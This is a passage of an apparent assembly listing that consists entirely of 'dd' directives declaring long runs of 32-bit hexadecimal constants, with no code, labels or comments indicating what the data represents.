0DFCE0A8h, 6C52094Bh dd 0C171A717h, 76011AA8h, 901DA6B2h, 0B139820Fh, 72B35702h dd 0EB5D505Bh, 6E1DF51Ah, 25BB3180h, 97757B1Bh, 907A2578h dd 0E6D8D16h, 74FD3C92h, 129A482Eh, 89EDC9F5h, 900BE520h dd 7E48EB6Dh, 7CBF0407h, 0AC4981C2h, 0B5291CE4h, 50A785ADh dd 0B36FC404h, 0AB2D44F1h, 0CD13EDB8h, 48C46CDCh, 591F6EAAh dd 34E45BC7h, 3053956Ah, 2085778h, 16967E34h, 8B84A3E8h dd 0C3A352B5h, 99BD247Ch, 0C446A5D5h, 0FFDC8A0Ah, 0B700CFD1h dd 5EBF5FDFh, 231425FCh, 5A11A865h, 6AD88A04h, 4438AC02h dd 97435BABh, 899DDA4Ah, 0DA9A7D98h, 0E1A10584h, 4F08328Bh dd 50A2D4E7h, 2BD3F2E1h, 41F58B38h, 78D3D848h, 703C9002h dd 0EA259531h, 646D541Fh, 0CF48250h, 8B3A8E11h, 6A8445A7h dd 0CF0E626Eh, 0BCA0F20Eh, 0EBCA7127h, 746FA995h, 9AE2F6BAh dd 17CD84BDh, 944B1414h, 9261A923h, 9D7BA6B1h, 0B0D666E8h dd 17F3FCBh, 0BB1B1978h, 31556E8Fh, 6AC87B69h, 6D92C4FFh dd 0BD2B051Bh, 40853AFh, 0AE1AB102h, 0FD871E9Eh, 0E173D049h dd 4D045212h, 18D5B501h, 0F0A240ACh, 6CCB8120h, 60141511h dd 0FE0484B0h, 0D05070E6h, 71E45BD2h, 0DE5A8C4h, 0CE128CABh dd 0D1F45D3h, 21B1B392h, 29E9B201h, 82A1D97Ah, 585014Ah dd 0C1C5A107h, 232BFA8Ah, 7C25D82Ah, 0B22D63DEh, 44F7F688h dd 3282682h, 9D09C82Bh, 4D26064Dh, 169A8CD1h, 0E54254DFh dd 0D27B985h, 0C9F59D33h, 0C835122Ah, 4E00197Ch, 0C68E1DB3h dd 121B4B94h, 0B4F98A9Dh, 43A98644h, 40482BFAh, 0BD038B0Bh dd 0E92848DAh, 0E4B51540h, 5760269Dh, 0F2751549h, 923F5E26h dd 2A4AB161h, 0CC0118CDh, 0E03B3231h, 22A1A59Dh, 0C2B740FEh dd 0FB588B5Eh, 316D400Fh, 7C58512h, 188753B2h, 0A3DEA9CEh dd 0BFB349DEh, 0D026204Eh, 1903FBCEh, 8264EA14h, 0C5FC0ACh dd 0F7EF0457h, 0AE60849Ah, 8E3BC589h, 5F470523h, 0B8AD9501h dd 0E25B6113h, 370C0048h, 0F6D930FBh, 3F7100E2h, 0A3EBEA85h dd 4B7C22E6h, 19074F12h, 0FF4A5DB3h, 18C0A0DAh, 0D9260F9Ah dd 0AAB9DC0Eh, 0D09B130Dh, 83E8F6C0h, 1804FE80h, 20C2EB6Bh dd 154C9CACh, 6F86EE1Dh, 0B1C478CDh, 0F69654A8h, 0C60E04Ah dd 0F1173E66h, 9DBD898Bh, 0D22BC560h, 70B5D397h, 0D10F492Dh dd 0D2834CF2h, 4D26EB3h, 930FD76h, 7105C452h, 0C6A70114h dd 4E175D23h, 40242B5Bh, 0B30E486Bh, 0C74269A1h, 8473DB5Eh dd 70335A7h, 0E1668FB6h, 2B913AF3h, 73ED7753h, 0D990A2E8h dd 0AE7D1795h, 0E800D4DAh, 0ED4827Ch, 98572E9h, 40B79CAFh dd 7000F3E4h, 6819171Eh, 2889E5Dh, 1A97E254h, 425C2175h dd 0DEA41DDCh, 129428A8h, 0B29305EBh, 811988B8h, 5C391DBBh dd 9662363h, 59EBE780h, 0E1FF89BCh, 0BA2C9702h, 1750BA56h dd 0E5B9704h, 282BBCD1h, 53D909B8h, 0F230A3C0h, 9994953Ch dd 1439C045h, 0D1F95B8h, 29403FCAh, 0F2BB6076h, 0E0075F14h dd 0B79FD958h, 6B5300E4h, 0CB39ED64h, 0C92004B0h, 2C109820h dd 9350432h, 0AF5916A9h, 2EDF8100h, 847BCE59h, 866F2A45h dd 0D5BC4340h, 54800F62h, 4E305079h, 0EF8E2400h, 4F86E3E4h dd 0E91E0F6Ah, 0B51233A2h, 0CE72A80h, 84A42BA0h, 9D641B13h dd 4F190A1h, 13C69002h, 0D2635E00h, 53080C02h, 0FA100132h dd 0C6C4F872h, 0F9E22FF2h, 96F9BA50h, 2E0511D3h, 0CA173760h dd 36B9AFC4h, 0C0029EB8h, 0A2C96B68h, 5F855042h, 0C917578Eh dd 82B32E35h, 4CF74102h, 0B7F6496h, 5B3793Eh, 0FFF90221h dd 8A742800h, 0F0B4379h, 0E66E0E13h, 5F464D6Bh, 0F84A629Fh dd 0CA940243h, 952942BDh, 27F9E292h, 79B3F592h, 2DC00848h dd 839FFCD2h, 6D2B2900h, 0A65AF135h, 0E923122Ch, 9B0D56BCh dd 3855847Fh, 10887DADh, 0D0718D81h, 0B6609BBDh, 827F00C9h dd 0B3493F85h, 99959F86h, 882FFC7Eh, 4A010FC1h, 0A3D43EBh dd 0A6309799h, 69ED1D94h, 80C00285h, 91567A15h, 56BEB762h dd 4B01558Dh, 0B25388B3h, 40B19220h, 0E1E5890Ah, 831F28D9h dd 0D07E2339h, 126140DDh, 65464217h, 0A846C4A5h, 12755C75h dd 0B7EAE996h, 0E85272D9h, 62C80F96h, 20A10F34h, 76D73FB3h dd 0FD412812h, 0BF230EACh, 13829072h, 0F384965Bh, 2A1FE181h dd 6EBB6334h, 20A9003Fh, 785DA01h, 68DE038Bh, 4BFC570Ah dd 62D1C09Ch, 41925BE2h, 0E354F51Fh, 2DB767h, 0D5AED6EEh dd 8D252932h, 0FD1E886Dh, 2634B060h, 0FD3600A0h, 0DCD4688Ah dd 9E4B8EE5h, 8C4AEEB3h, 0FE008BBCh, 50D98A90h, 3CB622BFh dd 85D67FDFh, 0CCB58F0h, 0F0AEE32Dh, 26D92049h, 0CC495F98h dd 33DB93B5h, 0C5722980h, 9A24A588h, 0FA020E0Ah, 56F961FCh dd 315158DCh, 779EBD72h, 0CCA25F12h, 0CB53698Bh, 9AED3D8h dd 0FD1B6BE8h, 0C787B698h, 0D9A35400h, 0D857EFB7h, 4780064h dd 634140FDh, 0A6EE4B5Fh, 8FA5E94Fh, 4C6E3Bh, 897E64A6h dd 83091DBDh, 0A110C4B5h, 193A2BD9h, 0BD1213E5h, 706E4F1Ah dd 11380800h, 0A1351DF8h, 4A415B40h, 22F8CE2Eh, 0DC46B6B0h dd 2DF8C100h, 425CD0BFh, 8F0F2520h, 0C160DEA5h, 12C4627h dd 61022655h, 6E9A3A45h, 80F7F185h, 0D62682E6h, 91F42AB6h dd 23D94197h, 799A45ADh, 360131F9h, 0F9E59928h, 0B1C872CAh dd 3F0BA83Ch, 320018A8h, 840EEA2h, 41092687h, 595FB689h dd 0ECCDADF0h, 0AC28D3C1h, 9AED0C4h, 5F292FAFh, 0BF810659h dd 53F3145Ah, 23E86B2Bh, 889D001Ah, 870515EDh, 5EB15D5Ah dd 2206E32Ah, 3A909D0Ch, 0F805D0C6h, 0A6FC2B52h, 0C021BAA1h dd 0D9F06D36h, 9F2E56AEh, 2600ABDh, 0FC77CB51h, 918200D3h dd 0D55C2EECh, 52BECE28h, 0D42174E9h, 9E0269FCh, 8DCB77BBh dd 0D6D65654h, 5001B46h, 0E21A027h, 0FC4A1AACh, 0E62ADCDDh dd 0F71BA061h, 3C720E76h, 94407D65h, 6EF380E0h, 54E59A95h dd 117425BAh, 0E45F00F6h, 60624793h, 0F95F8D31h, 0B966AA01h dd 833F82DBh, 128491EAh, 0C73168CDh, 0DBAE162Ah, 21AB840Ch dd 5D46B6ACh, 5229E8B0h, 66A7B225h, 705997AEh, 0CDEE7980h dd 0D4755Fh, 7826FCABh, 0C0C2CB66h, 0E31E36FAh, 0C6684898h dd 257F519Dh, 8103C946h, 46853CE3h, 29A60401h, 0A80999BDh dd 3DF9B496h, 8F03E8A9h, 5E902640h, 0AAB674EEh, 0A300F26Ah dd 0BB3309D6h, 81283F5Fh, 1520DF71h, 0E0965B1Bh, 0DB76C7C7h dd 7FDCF09Ch, 4DAF0E08h, 0E36115E5h, 8160CA79h, 48E68158h dd 0CD785BBAh, 618533C1h, 0AE472E1Eh, 0A00A5595h, 75181253h dd 0D31EE226h, 0C2A887ADh, 0C7A05D0Bh, 12F4E1D7h, 0A21CAC04h dd 0BF962034h, 1A07DC86h, 31B35013h, 0DC9FDE9Bh, 0A8C93Fh dd 17730F2Dh, 1CCB8114h, 12E02C16h, 0B2AFB6F8h, 7DC7301Ch dd 86CD1F01h, 39321281h, 0E603742Eh, 0D79A00Ch, 68E402E6h dd 42B3627Eh, 0CF805490h dd 0E6752BF7h, 45802FDAh, 72B2DFB6h, 31702006h, 95B7D5B5h dd 5B4AE514h, 0BBEC90B9h, 0CCD2F025h, 0B70F1F01h, 6C64FDDAh dd 705B0919h, 0DC7C9C08h, 74727B24h, 8627600Bh, 4B1F017Fh dd 56278BFCh, 7286F064h, 0BB1E2DACh, 340A470h, 0F31D1CE9h dd 1D5B65FFh, 26D01570h, 5BF9BD1h, 0F5235995h, 0EFE24085h dd 189719A6h, 26C78032h, 41D90ECh, 0F250A06Eh, 0CD560017h dd 0B131F4D7h, 0DE7F00B5h, 4D6739D1h, 0DB7830ADh, 8C0F9016h dd 0FFC98FBCh, 32F3DDDh, 1E08F1F3h, 0AAC03E4Ah, 951601BDh dd 58A415A1h, 0C5CDA07h, 501062DCh, 92550E51h, 0F78A0045h dd 0BE5097A1h, 5C326028h, 87004439h, 0F47EA222h, 174DC90Eh dd 0BC5BFA8Bh, 0C68274A5h, 7ABD016Bh, 8214B1AEh, 6D56C47Ch dd 0DD41720Bh, 0F7A3890Eh, 0D38104A0h, 1A37B8F6h, 0EB81CA77h dd 50E99AE2h, 33368C6Ah, 6431BD25h, 3E4D9714h, 8F6AD6C0h dd 132EB050h, 0BA1CC9B5h, 0D9798B2Dh, 0C74B2FA8h, 6AF97794h dd 36000EE8h, 20169E43h, 626A4974h, 1821F808h, 0C1A8D20Eh dd 0C4D1FF86h, 6C25F993h, 9D7153A2h, 26200511h, 0DEF702h dd 0FF8C3DA5h, 0BEC5603Ch, 82EF1AB7h, 9239D25h, 0FB12285Eh dd 602F46B9h, 0D580AAE0h, 0FC61A12Ch, 0DCB75ECBh, 89A1D301h dd 25D99D03h, 0C52E900h, 20B91697h, 0A2CD58AEh, 87D2F59h dd 0B0B084B8h, 0CE18E525h, 786F9BD5h, 95010667h, 5F5851B1h dd 94553716h, 6C97BD16h, 1872AF08h, 24B48020h, 44A04CB5h dd 0A4DBB8FCh, 20C0949Ah, 4D9DA96Ah, 2ED23397h, 0C072F894h dd 2EF99D2Bh, 0A8C67B97h, 8D92008h, 0BB056A7Dh, 4B455533h dd 52FEB184h, 0DDBB4428h, 848EB9C2h, 0B009011Ah, 600C98D7h dd 0A75102E6h, 2E43063Dh, 8072F483h, 0E4F970D8h, 0E720715Ah dd 0E4D68CDEh, 0A10B74Eh, 0D800E3F6h, 0FB248160h, 1222B2AFh dd 0E46FB05Fh, 0D48ADEA8h, 71BDC3F5h, 0B0B112FCh, 9780872Ch dd 0DD6A8C32h, 851FA7F4h, 20C05C42h, 0BAC0C341h, 989CA606h dd 88C14FCBh, 2008771h, 22C8FB6Fh, 4B2E528Dh, 29C680F5h dd 0C994B9BDh, 0BBB5700h, 4B179427h, 0B2CD855Fh, 0F6B6406Ch dd 9FB8E405h, 0E7FC96AFh, 2572C24Ah, 2B5BCBA1h, 0F23F65C8h dd 0D59D1360h, 0DE99B5A4h, 0EB3E1AACh, 4BBED835h, 65D28925h dd 210CA423h, 0CA69BF3Fh, 0E2202B3h, 18D8913h, 97361EE4h dd 2ADAEE91h, 0FD4453B3h, 88DB4B18h, 4841FBDh, 6C2EB6D3h dd 2279044Fh, 5D65BF20h, 5683DFB0h, 0CCDF9A25h, 0DD9E20B8h dd 0AF13C8D6h, 0BD09DEA2h, 0B87530C5h, 55B9FC7Eh, 0DB3BCD81h dd 0FE03827Dh, 931D439h, 0D9540FDDh, 67A1744Ch, 8B606926h dd 0B4502E62h, 0CAD8C3B3h, 0B2500549h, 13F8EFADh, 5FAAFDBCh dd 0ADBBB6D4h, 0BB847h, 6391A30Ch, 4CD21D2Fh, 0E49C4F95h dd 2B23601Ah, 70E201AFh, 53522761h, 3F302E5Bh, 4EF18D29h dd 81BB700Eh, 0EA1225DFh, 7E374E7h, 1CD0562Eh, 0B25FD28Ah dd 8589B1EFh, 8B94B52Ah, 0DC08E10Ch, 8658F445h, 0C90100C9h dd 0E6FAF6Eh, 126F9052h, 4E1F5DBh, 0AA04A141h, 863E8538h dd 0C64BFE43h, 18952B52h, 2C781CEh, 503410F2h, 0F6EDE1FFh dd 5B615DE6h, 97677608h, 0DB2767B4h, 31607871h, 0AE91BD27h dd 2D41C595h, 4013562h, 10C35096h, 0CB5F16F1h, 44C1298h dd 7537AEBh, 0A3C76CE2h, 7560DC42h, 13FF6B7h, 567C11Dh dd 162E76D1h, 0E0BBF61Bh, 2A3D108h, 9F1E6884h, 5FDE5F5h dd 8913237Fh, 12B370A4h, 0EEE1800Eh, 70E029E6h, 0D0047202h dd 0DCA248F4h, 0F68320FBh, 55006D4Bh, 0C5B660AEh, 25D2CC80h dd 49CE5B61h, 6B11BB0Eh, 0A3A6325Ah, 0F5F38101h, 2ED6B3ACh dd 7E813534h, 50022BF9h, 110043F1h, 0EC4540E1h, 94E42E82h dd 2911AC55h, 0FAE43413h, 255F5F6Eh, 0B5B1FCC5h, 0E48A9C83h dd 1016B450h, 7902B0FAh, 23CFEB10h, 579CB358h, 0B9AF4259h dd 0BB00DF3Ah, 952C3FC1h, 857AC0C3h, 4FABBD0Fh, 0FC253C59h dd 49FE681Bh, 364778D6h, 88C0ADA4h, 5C5D6A0Ch, 80DF4998h dd 0FBEFAB85h, 55001348h, 171B7534h, 0BE585B4Ch, 8412DCE0h dd 0BC04D4A1h, 45B91735h, 0B837E9D6h, 0F48F0021h, 4DAE1E69h dd 0A5F4816Eh, 64C6C912h, 76626DE3h, 0E90205F5h, 0C0244ADFh dd 821F9939h, 54A74956h, 0E405F415h, 0E0EB5122h, 3FF2C4CCh dd 0DB804207h, 724615F4h, 5B3D376Ch, 0A2D37436h, 0B5C752FFh dd 0B027276Eh, 120B8B7Ch, 0E3489FBBh, 833E5C76h, 0D25C51CDh dd 697E5C0Ch, 0FC3BDB74h, 15EF8012h, 91FCAA65h, 0F92C2113h dd 31C9806Bh, 0CB13084Ch, 1F0FA230h, 0F6E55421h, 698E6026h dd 4B5F2D40h, 0BD6D8561h, 178A4C05h, 50C486D0h, 5DB8D8BDh dd 67405894h, 9C73D6Eh, 0AA80EF2Ah, 0ED6BD454h, 90A3E0B3h dd 9109AD94h, 16AA2345h, 0A2DAA0E2h, 56502762h, 8B89D071h dd 499D5CDFh, 0D95F4EC4h, 48757A8Bh, 6014D55Bh, 0C018EFB9h dd 15615A13h, 85F849E5h, 58F5B112h, 7FC17D9Bh, 2EB5EB80h dd 45B48436h, 0E8A32A08h, 2756562Eh, 7F399010h, 9BD2B207h dd 0A2E38428h, 0E682CF99h, 0A10FFB3h, 0E99119C5h, 0D46A5CC9h dd 4451DE26h, 835ABC60h, 0E80B00BAh, 0D993365Eh, 0B6173307h dd 83AD615Bh, 4D2E33B8h, 0C20208A1h, 5CB52EB7h, 377D5AA6h dd 0F6480030h, 0F5AE3683h, 0DC0B2E01h, 1E299D03h, 2DA6CE2Ah dd 80ABBD2Ch, 96F7C83h, 0C995F595h, 647B1EB2h, 0EA8BACBCh dd 0F4AABBC0h, 66B76A87h, 0CC515AEBh, 0D525B3ACh, 3871C55Fh dd 48019EF6h, 937559B1h, 0F60B2B21h, 9D73EE30h, 18083F10h dd 2FF44500h, 863B23E4h, 6EB90257h, 3326C5Fh, 35E9215Ch dd 234380D1h, 0DD6DA388h, 5F479A95h, 0AB1F4284h, 8D290670h dd 4FC59AA5h, 0F3BC5696h, 0E51260Bh, 5FF12300h, 9D38196h dd 2DC9071Fh, 1A598553h, 58034818h, 0C4D8B71Ch, 25A41226h dd 0C54ED419h, 0B4AAFCE2h, 1DA83AA9h, 8ADD2A68h, 0D27564CCh dd 5AAFA359h, 13E36C8h, 733DC2B6h, 0D0E778DDh, 2702168Fh dd 35668A3Bh, 0F2F0C33Ch, 0AC5B040Bh, 12ADD0CCh, 0E5DD2AEDh dd 0A0B1122Fh, 0BD5A2BA1h, 854AEBA9h, 0B817A98Ah, 5862608Eh dd 55EF81FBh, 516D3212h, 0E65F90B3h, 4857E095h, 0D2E8042Fh dd 0E00D7C69h, 0BA952DF1h, 70075398h, 7901F64Eh, 3E140D67h dd 0A7412B9Eh, 2300138Dh, 939F69BDh, 591012E4h, 9D22B224h dd 0DB2C2D8Bh, 3ED8AF5Bh, 510BA825h, 0B4CDA70Dh, 318BA04Fh dd 0AE0C3D95h, 41BD713Eh, 0C6203B23h, 14B546Fh, 798BFA5Bh dd 2BBECAE2h, 0EBD6F74h, 0FB3FD6A8h, 0D5B48141h, 8F7FECF0h dd 473E63Ah, 6978414Dh, 35A279ACh, 19D8B20h, 97F7911Eh dd 3A25E0D9h, 4D9FA079h, 424EC6DAh, 0BB708401h, 337919D1h dd 0C8B59A2Bh, 6F31C016h, 294A6030h, 0BB9E16ECh, 0F5C46D2Ah dd 0A364123Fh, 0D98A1285h, 17B2B7B6h, 25E10A31h, 4B9DA030h dd 6281D709h, 51090E6Dh, 0DA25BE8Bh, 38116565h, 38604251h dd 4B9A9583h, 59E0ED4Dh, 2FA362D1h, 0CCE1C68Fh, 247C0725h dd 0FD8A25F8h, 5BA54267h, 145F52C4h, 0F6B4A30Fh, 90E9255Dh dd 81A08D50h, 8B800855h, 956050C1h, 8A044921h, 4A34B4C0h dd 8E02D402h, 815C9ADFh, 2B35D561h, 11801A91h, 567683B6h dd 807A7704h, 0D5EE8AD7h, 7721EC6Fh, 1A78B893h, 21870099h dd 3DDBA52Bh, 4AC42CD2h, 7AEFF98Bh, 8C231B79h, 767F1F6h dd 8F6F2Ah, 4E7E9C50h dd 12E2644Ah, 0B1C1A087h, 0C2E15B5Ch, 7660F550h, 74BB40F5h dd 0FD1FCEFAh, 66403E52h, 0BF7229B8h, 38279806h, 0E2CF6119h dd 0AAFA7436h, 0CDB79679h, 14B4C1A7h, 0B122FC07h, 46DBAEAAh dd 0B0F18278h, 30C1974Dh, 6A2D2B30h, 48C0500Fh, 56BB54DFh dd 3E09E273h, 5B612F88h, 0D672A473h, 0C66E2E12h, 68E89330h dd 6AA11D42h, 0E3B90410h, 86FACC5h, 7919FD8Dh, 0ECEA39A2h dd 0EF27013Ah, 6AA67907h, 7D9B3E02h, 5CDD6F83h, 0AC3727A8h dd 20D60158h, 56502E1Ch, 24040960h, 1FE37F7h, 0B88BDB6Bh dd 13C0686Ch, 9AB6B761h, 623018B2h, 2B8A02FEh, 6DBD29D4h dd 85895EFEh, 64A0590Fh, 0F9D9844Eh, 2677BC3Eh, 304C2D96h dd 8E92C0C2h, 6FDB665Bh, 0BF56B984h, 5B26C209h, 96019DC1h dd 90344949h, 0EA009751h, 43CBEDCEh, 44C802DDh, 506DE6E4h dd 8D417ED4h, 52F48E6Bh, 2499739Fh, 5F0C1C2h, 81905BFEh dd 50B19C3h, 2C163B84h, 230360BFh, 254A81D9h, 5730C4D9h dd 0FC194179h, 231263D7h, 0B0B320D3h, 0C063DB4Fh, 0EB8D055Bh dd 0A75202DCh, 24319D01h, 60E0C956h, 0B5118D09h, 0FC6A21A7h dd 17B8DADCh, 0CF254D2Fh, 0F2C244ADh, 290C1D65h, 104E2480h dd 1F1AC1E6h, 12CFBAFFh, 22F3B6A7h, 82D99502h, 3D9D2B85h dd 80B024D3h, 649E781h, 0E640F79Eh, 0FA0BB270h, 848971E4h dd 32AB08E4h, 4728D988h, 53C2A480h, 1C1DEB0Ch, 0C251E7B6h dd 21C14FC3h, 1F01F666h, 0B5465E38h, 12B91EEh, 0FFBB66F3h dd 0E3212B41h, 0F0644DB7h, 51952A01h, 35B90299h, 61663E6Ah dd 0E4762FF7h, 0AB352175h, 8DFDBBD9h, 0BB519979h, 752BEF98h dd 8B2D3A44h, 9FE870D1h, 3B2CFFC1h, 290424E6h, 0B514758Dh dd 32D06FDBh, 25D8D0BFh, 0DB6221F2h, 0FEFE44F8h, 7E0410D7h dd 0DDAC04E1h, 2FA212C8h, 0A3D78203h, 0DBAD8EB2h, 8317512Fh dd 4119B33Ah, 3F26D9C0h, 8B18E9D8h, 1580A5CAh, 0F98589FEh dd 0F839ADEBh, 9345958Ah, 0FD84041Ah, 2286D2B7h, 0AE3CC727h dd 448F42CEh, 0DA4AE787h, 7C10FECDh, 36DCDE4h, 0B9D3C657h dd 0ED84079Ah, 25AABC2Dh, 1C27E6Dh, 0F4826835h, 5EFCF5C8h dd 0C62CDCE1h, 0A6049ACEh, 2683C02Bh, 4DD2AADEh, 0B890E4F0h dd 6680F401h, 4896D494h, 7D3A2F26h, 0E874F94Bh, 32B9798h dd 0A406377Dh, 0C623008Ah, 95C29E97h, 25B58909h, 8D41EE24h dd 0AB156450h, 1923436Bh, 0E67E023Eh, 0D10EBE97h, 6E76008Bh dd 9652051Eh, 27F7D200h, 1164CF02h, 0C0C1250Ch, 60666CC5h dd 239520EEh, 0CD61FC2Dh, 64DCC0C0h, 34004D4Ch, 278B586Dh dd 25BF66D6h, 62C5ADF7h, 76E97516h, 8A2D09ECh, 0A52ED9DAh dd 87908364h, 0CC38EC25h, 4BF30581h, 0F2470BDBh, 0CEDA00B9h dd 0FF8D0C9Dh, 78DFBBE1h, 0B6067732h, 0E521F919h, 0E7F32A7Ch dd 822A0432h, 0B8AC91C2h, 4853A399h, 0B0043027h, 0B818F310h dd 0D4C7A477h, 0DEB97C09h, 65667A00h, 0F463688Fh, 82C0981Dh dd 5849F49Ah, 9786EF86h, 730001B5h, 0DE9829FEh, 8B9F0474h dd 0B5880FACh, 50C83E33h, 5B470B62h, 22DE83A6h, 284B1380h dd 3D931CD4h, 884BFB5Fh, 0EA032B3Dh, 334CADD1h, 130FABBDh dd 6F605BB0h, 0DD8F0272h, 0D9FB89BCh, 4EE50157h, 612EDC87h dd 0D9E8FFB9h, 0EB04093Eh, 75EAA7F8h, 0A0874CB8h, 3F69A00Dh dd 0DD25A6CDh, 0B7ECC25Fh, 39B580ECh, 7F84B43h, 51DD0B97h dd 0CECF0016h, 0E4B3E738h, 88E670Bh, 0B2B25715h, 3489BE56h dd 0F4807401h, 22CB8600h, 0D12C9C3Eh, 93DA257Fh, 1AA03466h dd 4EB517A9h, 0B5012F92h, 0B75068E8h, 56173E4Bh, 82618D20h dd 70ECB087h, 48EA73D8h, 0D2C00481h, 1965609Ch, 0A62CE00h dd 7775E848h, 0C4930153h, 5F1388F3h, 0ABDB6A6Ah, 4FDD08C0h dd 0D413123Bh, 1788601Eh, 13C5381Fh, 2BA79F01h, 44991A33h dd 9CC0BEBFh, 4C26CBF7h, 723E5F9Ch, 8D68130h, 635BF838h dd 0D813866Eh, 9843077Ch, 0A86E5431h, 6A60CCC6h, 0B2675AA3h dd 5C9F1DEDh, 0D446CF80h, 2ED3F0A2h, 0F2B9CBh, 0A9E54939h dd 0F50298E6h, 5FC6BF0Fh, 69A95C61h, 0A38F8BDDh, 85027A99h dd 996FBFh, 0DEB0889Ah, 12D7CC9Ch, 0E6EC6F7Dh, 3016B2C8h dd 2A5878DAh, 97910FEh, 0C40EAC4Ah, 0BAB841B7h, 0B02DA74Bh dd 0FE1B6449h, 0D7512576h, 0CFDDBBCAh, 38434132h, 2B2BC982h dd 84C043C2h, 0A1D24584h, 5A3A5761h, 8C504F7Bh, 0B11101A3h dd 0B9487115h, 7A89E509h, 361D216Fh, 608202F9h, 0A4974CBh dd 0BD8B0004h, 0A71C4B31h, 0B034461Bh, 1B8331h, 0ABBA2315h dd 0FDE7EB81h, 8C9769F0h, 40416E2Eh, 0C49F9616h, 90C89577h dd 2100720Dh, 0F2D6DA28h, 553200Bh, 0A9B049EAh, 422821Bh dd 0B805942Ah, 52B05B2Ah, 0DB965AF9h, 1FF6809Dh, 7D0A48CCh dd 0B2C532A6h, 712905A6h, 78F8AB52h, 109DB8E8h, 0D9EC35h dd 0CDBC012Ah, 679BDFD5h, 0D45A8F00h, 30687A86h, 3EA2137Bh dd 0EF8F3057h, 9D000C0Dh, 0E1BEC0F2h, 1854ECF7h, 0A46D6176h dd 0C8953E39h, 7878CFE4h, 858D25BDh, 0F30F9E65h, 0B35D40B1h dd 0C36FDAh, 0EC1869D6h, 0B222F7E7h, 874DBB02h, 0F7907765h dd 391C0527h, 3FFE6AD8h, 90F9C941h, 0A9F0C526h, 0D90B2A41h dd 5EF620C8h, 1C46D615h, 7B9DEE4Bh, 2B480673h, 81FC910h dd 800EE861h, 0EF5E332Fh, 0F10009F4h, 84D245C6h, 1218DC39h dd 0B0D59529h, 96975F3Ah, 0ACB7253Ah, 552761C5h, 63D32262h dd 2D103E70h, 1F5E01F6h, 0B5204866h, 0E578AB5Bh, 0A66BE51Fh dd 0E0602F98h, 9517B924h, 0B474C7C7h, 409DDCCAh, 48753809h dd 61170447h, 0A0F5E717h, 92F03A4h, 0AC87DE3Dh, 0BDB630D7h dd 0E32A4AEDh, 0FCCB88EDh, 0F1F9C912h, 0C4A0362Ch, 0A9E8B357h dd 0CFDAD2D6h, 19F9E787h, 35AD9C7Bh, 0FAD200AAh, 7A59D89h dd 0F50C1083h, 0EBA24A16h, 0CD74D6A8h, 67512600h, 0E6481895h dd 158B5C0Fh, 0AE5B5284h, 0BCE6E974h, 8C5A97A0h, 6EBF5101h dd 5B2C8782h, 45F2E56Ah, 754CEC9Fh, 0A40DB801h, 0AEB553F7h dd 0E53257F2h, 0A639D6Dh, 5430A886h, 0A8FE4E2Ah, 0BFCB1F79h dd 7EA861D2h, 7B8B00AAh, 0FC0ADE76h, 0D5440097h, 9AB466BFh dd 61906068h, 0DE504AB7h, 9F2469CEh, 21F5521Ch, 277A7A7Ah dd 0B71D4C85h, 13BB864h, 9D6AC58Dh, 756A7EB7h, 3880ED04h dd 4B25E9D9h, 82009A7Ah, 0FDAAA401h, 922FCB96h, 0B5844860h dd 65059719h, 4F0CA761h, 0A304D66Ah, 0E98B58F1h, 48A35E6Ah dd 0CFB41600h, 0A8A756E6h, 9FAD2201h, 9B0CE30Ah, 0B678123Ah dd 0E0E2E34Fh, 1EA5856h, 0D8C1B440h, 35599501h, 7C742F01h dd 0B3ACFEA9h, 32FB2900h, 0D29D2C68h, 78359DCCh, 4F891491h dd 0FDDF8D01h, 869E2A32h, 3DE43181h, 0E2AD2635h, 7FDA3114h dd 0FC300609h, 92B55AF9h, 0BB500E80h, 4D9BBE32h, 0DB5B2905h dd 452580F0h, 48AD2E7Fh, 0D13CE553h, 0B8BEF2CAh, 0C109BD54h dd 2523C879h, 27925070h, 0B745119Ah, 81FD7C12h, 0DE092CF8h dd 5E366E0h, 7DF281DAh, 2A998508h, 4FB25316h, 768FD300h dd 0ED998FAh, 5FE11402h, 79515061h, 0FAB100C3h, 0F93FF519h dd 0A507DF71h, 0DE7DD447h, 1A94C740h, 97BDB55Fh, 0CEB00992h dd 0D358E7B8h, 303AFDB7h, 0B3FB8BD1h, 4F128252h, 0C72E378Dh dd 0B4D3D9F5h, 0C1DFFEA5h, 3A48DEBFh, 0B447BC28h, 0B6E2E0D3h dd 0B700B45Eh, 0DC31B9E0h, 1C306410h, 0C9BC2688h, 0CED3C732h dd 51457BA7h, 5F6AD0BDh dd 37ADDED6h, 291D207Ah, 97CB9E97h, 91004435h, 87BCB3BFh dd 99E90EEAh, 0DB32FFF1h, 7D1D8067h, 2549F8EDh, 62F66BB6h dd 0C140782Ch, 5B95B531h, 0D473B909h, 0D2932C7h, 4B9C190h dd 32E15112h, 3F38715Fh, 0F6FB5798h, 0DC579E90h, 9A2203Eh dd 0FF6A9176h, 99A58B7h, 19218438h, 80E7AC57h, 38D6A006h dd 0E236005Fh, 0F7BA5731h, 0F22B1FFh, 0A35BE089h, 7D78D282h dd 0C255D0E9h, 4ABB7809h, 4594F0F5h, 465780A2h, 3F379D17h dd 35EAFh, 1707BDA4h, 0C8388C98h, 6983D5B7h, 779BC92h dd 0B4E20B64h, 0CF44913Bh, 0F1552076h, 0F2811540h, 5B5AF6D7h dd 8078B96Dh, 28374ACBh, 8D8D717Eh, 60EF3849h, 80F7FFACh dd 2740B7A6h, 0D4DD1FFh, 208D5C0h, 0FDF25A1Ah, 9F41C48Ch dd 7AA395E8h, 0B89B205Eh, 4C66F3C3h, 26A2FA8h, 758379Fh dd 6173A593h, 7EDAEC3Dh, 0C09003C2h, 3BB0F09Ch, 0ECDE1699h dd 0CB0B2CD0h, 0D4677C72h, 0CD83E303h, 8C0EE9A2h, 0BBB16DE8h dd 0CCAE0478h, 0F10BBF85h, 8541E9CFh, 0CDAC0BEDh, 6F37DD4Bh dd 0B0FB3E20h, 13F718Bh, 9A63143h, 7FBE2763h, 6299AC2h dd 890EA5Bh, 78867BB5h, 0C2001F4Ch, 0FBFBDCCh, 259D0DBBh dd 0FC7323BCh, 0C4181B71h, 16613100h, 9D75EE11h, 0A9BD4F09h dd 55C44B6Fh, 0C8768FAAh, 0E8E0CF1Dh, 0EFED6ABCh, 643D8D09h dd 4ABB898Fh, 0EC04555Fh, 0D35EE92Dh, 0A5D7AC01h, 5FF26A59h dd 0F4012937h, 58C43ECh, 33408C2Ch, 0EA92DB5h, 2742D071h dd 9E580901h, 0C3468097h, 41482A19h, 6ACC7F02h, 0BA7148E4h dd 0A5E0DA13h, 7E01ED47h, 724CF3D8h, 504F00FEh, 4E382F98h dd 510327DCh, 47F62476h, 0ABA8996Fh, 